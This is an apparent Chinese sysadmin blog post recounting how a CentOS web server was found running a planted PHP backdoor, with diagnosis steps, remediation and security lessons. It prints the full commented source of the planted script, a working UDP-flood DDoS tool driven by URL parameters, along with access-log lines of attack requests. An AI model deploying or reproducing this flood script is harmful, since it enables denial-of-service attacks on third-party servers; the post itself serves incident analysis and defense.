记一次Centos服务器被挂马的抓马经历

发布时间 - 2026-01-10 22:41:00    点击率:

今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。

早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。Centos服务器被挂马的一次抓马经历。

我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。

果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载:

top

发现有两个apache进程占用cpu一直在40%以上,马上停止httpd 服务

service httpd stop

停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。

由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。

下一步就是抓马了!

175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。

切到M站点根目录之下,查找最近一天内变动的文件,执行

find ./ -mtime -1

果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行

ls -l phzLtoxn.php

这里发现文件就没了,难道这文件还会自我销毁?Centos服务器被挂马的一次抓马经历

原来发生了一个小插曲,隔壁的管理员小黄也注意到这个文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。

果然,半小时不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。

分析一下木马文件,看下黑客意图

这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用。

<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET['host'];
//攻击目标服务器端口
$port = $_GET['port'];
//攻击时长
$exec_time = $_GET['time'];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {  
 if (StrLen($_GET['rat']) <> 0) {    
 echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];    
 exit;  
 }  
 echo "Warning to: opening";  
 exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {  
 $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {  
 $packets++;  
 if (time() > $max_time) {    
 break;  
 }  
 $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);  
 if ($fp) {    
 fwrite($fp, $out);    
 fclose($fp);  
 }
}
//step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>

从以上代码可以看出,是个典型的ddos攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。

查看httpd日志,分析下攻击ip源,执行

tail /var/log/httpd/access.log | grep phzLtonxn.php
183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客有针对性的攻击呢,无聊的黑客啊。
下一步,找漏洞!

1、重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。

2、重新开启httpd服务,使用360网站检测 http://webscan.360.cn/ 对H站进行漏洞检测,发现H站中有严重的远程执行漏洞,于是赶紧打了补丁。

3、补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。

观察几日之后,一切正常。

小结一下几个安全原则

1、权限最小化。

web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。

2、时刻注意补丁更新。

经常使用第三方的网站安全检测工具,如http://webscan.360.cn,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息http://www.wooyun.org/。
3、中招后一定要补牢。

别光删删删删,要查找中招源头,分析黑客目的。

这是还是请大牛小牛们分析一下,为什么这帮黑客用那么多的肉鸡来ddos攻击不同的服务器,而这些被ddos攻击的服务器之间却没有什么联系。为什么攻击没有针对性?难道是为了耗带宽玩?!


# centos服务器挂马  # 阿里云Linux-CentOS系统下-搭建Git服务器详解  # CentOS服务器apache绑定多个域名的方法  # CentOS 7.2部署邮件服务器(Postfix)  # centos 搭建ftp服务器详解及简单介绍  # CentOS7修改服务器系统时间的方法  # CentOS上搭建PHP服务器环境的步骤与方法  # 阿里云基于CentOS用vsftpd搭建FTP服务器  # 几个  # 中招  # 向外  # 看了  # 多个  # 应该是  # 早上  # 第三方  # 你得  # 很慢  # 时长  # 小黄  # 仅对  # 这是  # 有什么  # 是个  # 也不  # 给我  # 也有  # 顺藤摸瓜 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: Laravel如何保护应用免受CSRF攻击?(原理和示例)  Windows家庭版如何开启组策略(gpedit.msc)?(安装方法)  清除minerd进程的简单方法  北京专业网站制作设计师招聘,北京白云观官方网站?  北京网站制作公司哪家好一点,北京租房网站有哪些?  如何选择可靠的免备案建站服务器?  Android实现代码画虚线边框背景效果  Python文件异常处理策略_健壮性说明【指导】  Python制作简易注册登录系统  C语言设计一个闪闪的圣诞树  标题:Vue + Vuex + JWT 身份认证的正确实践与常见误区解析  长沙企业网站制作哪家好,长沙水业集团官方网站?  如何在云主机快速搭建网站站点?  网站制作大概多少钱一个,做一个平台网站大概多少钱?  高端企业智能建站程序:SEO优化与响应式模板定制开发  rsync同步时出现rsync: failed to set times on “xxxx”: Operation not permitted  java ZXing生成二维码及条码实例分享  如何在Windows 2008云服务器安全搭建网站?  如何快速搭建虚拟主机网站?新手必看指南  Laravel怎么生成URL_Laravel路由命名与URL生成函数详解  大连网站制作费用,大连新青年网站,五年四班里的视频怎样下载啊?  UC浏览器如何切换小说阅读源_UC浏览器阅读源切换【方法】  谷歌Google入口永久地址_Google搜索引擎官网首页永久入口  七夕网站制作视频,七夕大促活动怎么报名?  如何使用 jQuery 正确渲染 Instagram 风格的标签列表  Laravel如何使用缓存系统提升性能_Laravel缓存驱动和应用优化方案  标准网站视频模板制作软件,现在有哪个网站的视频编辑素材最齐全的,背景音乐、音效等?  制作无缝贴图网站有哪些,3dmax无缝贴图怎么调?  Laravel Eloquent关联是什么_Laravel模型一对一与一对多关系精讲  HTML透明颜色代码怎么让图片透明_给img元素加透明色的技巧【方法】  HTML5空格和margin有啥区别_空格与外边距的使用场景【说明】  ChatGPT常用指令模板大全 新手快速上手的万能Prompt合集  网站制作大概要多少钱一个,做一个平台网站大概多少钱?  Laravel怎么多语言本地化设置_Laravel语言包翻译与Locale动态切换【手册】  Java Adapter 适配器模式(类适配器,对象适配器)优缺点对比  LinuxCD持续部署教程_自动发布与回滚机制  Laravel如何使用Eloquent ORM进行数据库操作?(CRUD示例)  Laravel如何升级到最新的版本_Laravel版本升级流程与兼容性处理  如何获取上海专业网站定制建站电话?  深圳网站制作平台,深圳市做网站好的公司有哪些?  JavaScript常见的五种数组去重的方式  微信小程序 配置文件详细介绍  专业型网站制作公司有哪些,我设计专业的,谁给推荐几个设计师兼职类的网站?  Chrome浏览器标签页分组怎么用_谷歌浏览器整理标签页技巧【效率】  Android中Textview和图片同行显示(文字超出用省略号,图片自动靠右边)  Laravel如何实现API版本控制_Laravel版本化API设计方案  详解免费开源的DotNet二维码操作组件ThoughtWorks.QRCode(.NET组件介绍之四)  EditPlus中的正则表达式实战(6)  家族网站制作贴纸教程视频,用豆子做粘帖画怎么制作?  HTML5段落标签p和br怎么选_文本排版常用标签对比【解答】